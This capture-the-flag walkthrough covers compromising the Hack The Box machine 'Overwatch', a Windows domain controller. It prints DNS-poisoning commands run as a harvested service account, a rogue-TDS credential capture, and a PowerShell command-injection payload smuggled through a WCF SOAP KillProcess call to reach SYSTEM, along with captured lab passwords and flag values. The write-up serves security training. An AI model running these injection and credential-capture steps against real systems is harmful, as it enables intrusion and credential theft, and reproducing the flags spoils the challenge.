// tl;dr

Windows AD DC with anonymous SMB share leaking .NET app credentials, MSSQL linked server DNS poisoning for credential capture, and WCF SOAP service command injection for SYSTEM access.

contents
Overwatch pwned certificate

Overwatch – HTB Writeup#

Machine Summary#

PropertyValue
NameOverwatch
IP10.129.4.166
OSWindows Server 2022 (Build 20348)
DifficultyMedium
Key TopicsAnonymous SMB, .NET Reversing, MSSQL Linked Servers, DNS Poisoning, Rogue TDS Server, WCF Command Injection

Overview#

Overwatch was a Windows Server 2022 Active Directory Domain Controller running MSSQL on a non-standard port with a custom .NET monitoring application. The attack began with anonymous access to an SMB share containing a .NET binary with hardcoded MSSQL credentials. After connecting to MSSQL as sqlsvc, a linked server pointing to a non-existent host (SQL07) was discovered. By poisoning DNS via LDAP and building a rogue MSSQL TDS server to intercept the linked server connection, the credentials for the sqlmgmt user were captured. This user had WinRM access, yielding the user flag. From the WinRM shell, the locally-running WCF service (port 8000) was accessible. A command injection vulnerability in the KillProcess() SOAP method – which concatenated user input directly into a PowerShell command – was exploited to achieve code execution as NT AUTHORITY\SYSTEM and read the root flag.

Reconnaissance#

An nmap scan against the target revealed 21 open TCP ports and 3 open UDP ports, confirming a Windows Server 2022 Active Directory Domain Controller.

nmap -sC -sV -p- --min-rate 5000 -oA scans/nmap_full 10.129.4.166

Key ports:

53/tcp    open  tcpwrapped              (DNS)
88/tcp    open  kerberos-sec            (Kerberos)
135/tcp   open  msrpc                   (RPC)
389/tcp   open  ldap                    (AD LDAP - Domain: overwatch.htb)
445/tcp   open  microsoft-ds            (SMB - signing required)
3389/tcp  open  ms-wbt-server           (RDP)
5985/tcp  open  http                    (WinRM)
6520/tcp  open  ms-sql-s                (MSSQL 2022 RTM 16.00.1000.00)

MSSQL on non-standard port 6520 was the most notable finding. The domain was overwatch.htb and the hostname was S200401.overwatch.htb. SMB signing was enabled and required, ruling out relay attacks against SMB.

A UDP scan found DNS (53), Kerberos (88), and NTP (123) – standard for a DC. A clock skew of +8h43m22s was noted for Kerberos compatibility.

No web services were found on standard ports (80, 443, 8080, 8443).

Enumeration#

SMB Shares#

Anonymous SMB listing revealed a non-default share:

smbclient -N -L //10.129.4.166

ADMIN$    Disk   Remote Admin
C$        Disk   Default share
IPC$      IPC    Remote IPC
NETLOGON  Disk   Logon server share
software$ Disk
SYSVOL    Disk   Logon server share

The software$ share was accessible anonymously and contained a Monitoring/ directory with a custom .NET application:

smbclient -N //10.129.4.166/software$ -c 'cd Monitoring; dir'

overwatch.exe               9728  2025-05-17
overwatch.exe.config        2163  2025-05-17
overwatch.pdb              30208  2025-05-17
EntityFramework.dll       4991352
System.Management.Automation.dll  360448
System.Data.SQLite.dll     450232
...

All files were downloaded for analysis.

.NET Binary Analysis – overwatch.exe#

The binary was a PE32+ .NET assembly. Strings analysis and IL disassembly revealed it was a WCF (Windows Communication Foundation) monitoring service with the following architecture:

  1. WCF service on http://overwatch.htb:8000/MonitorService exposing three operations: StartMonitoring(), StopMonitoring(), and KillProcess(string processName).
  2. WMI process monitoring via Win32_ProcessStartTrace – logs every new process start.
  3. Edge browser history reader on a timer – reads the 5 most recent URLs.
  4. MSSQL logging – writes all events to a SecurityLogs.EventLog table.

The critical finding was a hardcoded MSSQL connection string in the binary:

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

The overwatch.exe.config confirmed the WCF endpoint configuration:

<add baseAddress="http://overwatch.htb:8000/MonitorService" />
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />

Port 8000 was filtered from external access.

Vulnerability Analysis of overwatch.exe#

IL disassembly identified three code-level vulnerabilities:

  1. Command Injection in KillProcess() (Critical) – The processName parameter was concatenated directly into Stop-Process -Name <input> -Force and executed via PowerShell Runspace SDK. The output was returned to the caller.

  2. SQL Injection in LogEvent() (High) – Event details were concatenated into an INSERT statement without parameterization.

  3. SQL Injection in CheckEdgeHistory() (High) – URLs from Edge history were concatenated into MSSQL INSERT statements.

The KillProcess command injection was the most exploitable – direct user input via WCF with output returned – but required local access to port 8000.

MSSQL Enumeration#

Connected to MSSQL on port 6520 using the extracted credentials:

impacket-mssqlclient overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.4.166 -port 6520 -windows-auth

Enumeration findings:

  • sqlsvc had CONNECT SQL and VIEW ANY DATABASE permissions only – not sysadmin.
  • xp_cmdshell, sp_OACreate, and BULK INSERT were all denied.
  • The overwatch database existed with an empty EventLog table. sqlsvc was db_owner.
  • The database was not TRUSTWORTHY, and CLR was disabled server-wide.
  • LoginMode=1 (Windows Authentication Only) – no SQL auth logins possible.
  • No IMPERSONATE permissions available.
  • xp_dirtree worked for filesystem enumeration and SMB coercion.

The most significant MSSQL finding was a linked server named SQL07:

SELECT * FROM sys.servers WHERE is_linked = 1;
-- SQL07, SQLNCLI provider, is_rpc_out_enabled=1, is_data_access_enabled=1

SQL07 did not exist in DNS. The linked server had no explicit login mapping (empty sys.linked_logins), meaning it used self-credential pass-through – but the actual behavior depended on the provider configuration.

Domain Enumeration#

Using sqlsvc credentials with BloodHound/LDAP tools:

  • 105 domain users, 6 computer objects (S200401, SQL03, NB001, NB002, File01, S200400).
  • Domain Admin: Administrator, Adam.Russell.
  • Remote Management Users: sqlmgmt – this user could access WinRM.
  • No Kerberoastable SPNs, no AS-REP roastable accounts.
  • No ADCS, no LAPS, no gMSA.
  • No account lockout policy (lockoutThreshold: 0).

Exploitation – User Flag#

The attack path to user focused on capturing the sqlmgmt credentials through the MSSQL linked server SQL07.

Step 1: DNS Poisoning via LDAP#

Since SQL07 did not exist in DNS, a new A record was added pointing it to the attacker’s IP. The sqlsvc domain account had default permission to create DNS records via LDAP:

# Added DNS A record: SQL07.overwatch.htb -> 10.10.14.51 (attacker IP)
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \
  -a add -r SQL07.overwatch.htb -d 10.10.14.51 10.129.4.166

Step 2: Rogue MSSQL TDS Server#

A custom rogue MSSQL server was built to capture the linked server’s Login7 credentials. This required significant development (10 iterations) because the MSOLEDBSQL provider mandated TLS encryption during the TDS handshake.

The final version (exploits/rogue_mssql_final.py) implemented:

  1. A real TDS pre-login response (copied from actual SQL Server).
  2. TLS-over-TDS handshake using Python’s ssl.MemoryBIO for non-blocking TLS.
  3. Login7 packet decryption and credential extraction (XOR 0xA5 + nibble swap password decoding).
python3 exploits/rogue_mssql_final.py
# [*] FINAL rogue MSSQL on :1433

Step 3: Trigger the Linked Server Connection#

From the MSSQL session as sqlsvc, a query through the linked server forced SQL07 to connect:

EXEC ('SELECT 1') AT SQL07;

The rogue server captured the Login7 packet:

HostName: S200401
UserName: sqlmgmt
Password: bIhBbzMMnB82yx
AppName: Microsoft SQL Server
ServerName: SQL07
Database: OLEDB
Auth type: SQL Server Authentication

The linked server was configured with SQL authentication credentials for sqlmgmt, not Windows pass-through. These credentials were transmitted in the TDS Login7 packet, which uses a reversible encoding (XOR + nibble swap) – not encryption.

Step 4: WinRM Access as sqlmgmt#

The sqlmgmt user was a member of Remote Management Users, granting WinRM access:

evil-winrm -i 10.129.4.166 -u sqlmgmt -p 'bIhBbzMMnB82yx'

*Evil-WinRM* PS> whoami
overwatch\sqlmgmt
*Evil-WinRM* PS> type C:\Users\sqlmgmt\Desktop\user.txt
d22d511adbf9c226f359a26afae3bc7a

User Flag: d22d511adbf9c226f359a26afae3bc7a

Privilege Escalation – Root Flag#

Step 1: Confirm WCF Service Running as SYSTEM#

From the WinRM shell, port 8000 was confirmed listening via http.sys (PID 4 = System kernel process):

netstat -ano | Select-String ":8000"
# TCP    0.0.0.0:8000    0.0.0.0:0    LISTENING    4

Get-Process overwatch
# Id: 4740, ProcessName: overwatch

Step 2: Enumerate WCF WSDL#

A SOAP request from the WinRM session retrieved the service metadata:

Invoke-WebRequest -Uri "http://localhost:8000/MonitorService?wsdl" -UseBasicParsing

The WSDL confirmed three operations: StartMonitoring, StopMonitoring, and KillProcess. The KillProcess method accepted a processName string parameter, and the SOAP action was http://tempuri.org/IMonitoringService/KillProcess.

Step 3: Command Injection via KillProcess#

The KillProcess() method constructed a PowerShell command by string concatenation:

string script = "Stop-Process -Name " + processName + " -Force";

By injecting into processName, arbitrary PowerShell could be executed. The injection payload used -Force; to terminate the Stop-Process parameter and # to comment out the trailing -Force:

processName = "notepad -Force; whoami #"

This produced: Stop-Process -Name notepad -Force; whoami # -Force

A SOAP request was sent from the WinRM shell:

$body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
  <s:Body>
    <KillProcess xmlns="http://tempuri.org/">
      <processName>notepad -Force; whoami #</processName>
    </KillProcess>
  </s:Body>
</s:Envelope>
"@

Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" `
  -Method POST -ContentType "text/xml" `
  -Headers @{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'} `
  -Body $body -UseBasicParsing

The response confirmed SYSTEM execution:

<KillProcessResult>nt authority\system</KillProcessResult>

Step 4: Read Root Flag#

The same injection technique was used to read the root flag:

processName = "notepad -Force; Get-Content C:/Users/Administrator/Desktop/root.txt #"

Response:

<KillProcessResult>0506eb5c74825a88fb0e2eca051b2cbe</KillProcessResult>

Root Flag: 0506eb5c74825a88fb0e2eca051b2cbe

Obstacles & Lessons Learned#

Dead Ends and Challenges#

  1. MSSQL Privilege Escalation Blocked: The sqlsvc account was not sysadmin, had no impersonation permissions, could not enable CLR, could not set TRUSTWORTHY, and had no access to xp_cmdshell or sp_OACreate. SQL Server was Express Edition (no SQL Agent). Every standard MSSQL escalation path was blocked by design.

  2. NTLM Relay Failure: An NTLMv2 hash for the DC machine account S200401$ was captured by poisoning DNS and using xp_dirtree to coerce SMB authentication. However, relaying to LDAP failed because Windows Server 2022 enforces LDAP signing and channel binding. Relaying to LDAPS also failed due to channel binding enforcement. The machine hash was not crackable.

  3. Rogue MSSQL TDS Server Development: Building the rogue MSSQL server required 10 iterations. The MSOLEDBSQL provider mandated TLS during the login phase. Early versions failed at pre-login (wrong response format), TLS handshake (needed TLS-over-TDS framing), and credential decryption (Login7 password encoding). The final working version used the exact pre-login response from a real SQL Server and implemented TLS via Python’s ssl.MemoryBIO for non-blocking TLS within TDS packet framing.

  4. Password Spraying: 68 common passwords were sprayed against sqlmgmt via WinRM before the linked server credential capture approach was discovered. All failed.

  5. Port 8000 Filtered Externally: The WCF service on port 8000 was not accessible from outside the target. This meant the command injection in KillProcess() could only be exploited after obtaining a foothold (WinRM as sqlmgmt), making it a privilege escalation vector rather than an initial access vector.

  6. Kerberos Attacks: Kerberoasting found no SPNs. AS-REP roasting found no vulnerable accounts. No ADCS was installed (ruling out Certifried). These were all dead ends.

Key Takeaways#

  • Anonymous SMB shares are a goldmine – always check for non-default shares and examine their contents thoroughly.
  • .NET binaries with debug symbols (PDB files) make reversing trivial. Hardcoded credentials and string concatenation vulnerabilities are discoverable from IL disassembly.
  • MSSQL linked servers pointing to non-existent hosts are a classic credential capture vector. Authenticated domain users can often add DNS records via LDAP, making DNS poisoning straightforward.
  • The TDS protocol’s Login7 password encoding (XOR + nibble swap) is reversible – it provides obfuscation, not encryption. TLS protects the transport, but a rogue server terminates TLS and reads the Login7 in cleartext.
  • WCF services with basicHttpBinding and no authentication are trivially callable with raw SOAP requests. When they execute system commands with unsanitized input, the impact is critical.

Tools Used#

ToolPurpose
nmapPort scanning and service version detection
smbclientAnonymous SMB share enumeration and file download
impacket-mssqlclientMSSQL authentication and query execution
dnstool.py (Impacket/Krbrelayx)DNS record poisoning via LDAP
Custom rogue_mssql_final.pyRogue TDS server for linked server credential capture
evil-winrmWinRM shell access as sqlmgmt
nxc (NetExec)WinRM command execution for privilege escalation
BloodHound / bloodhound-pythonActive Directory enumeration
Python3 (dnfile).NET IL disassembly and source reconstruction
curl / Invoke-WebRequestSOAP requests to WCF service
impacket-smbserverSMB server for NTLM hash capture (dead end)
impacket-ntlmrelayxNTLM relay attempts (dead end)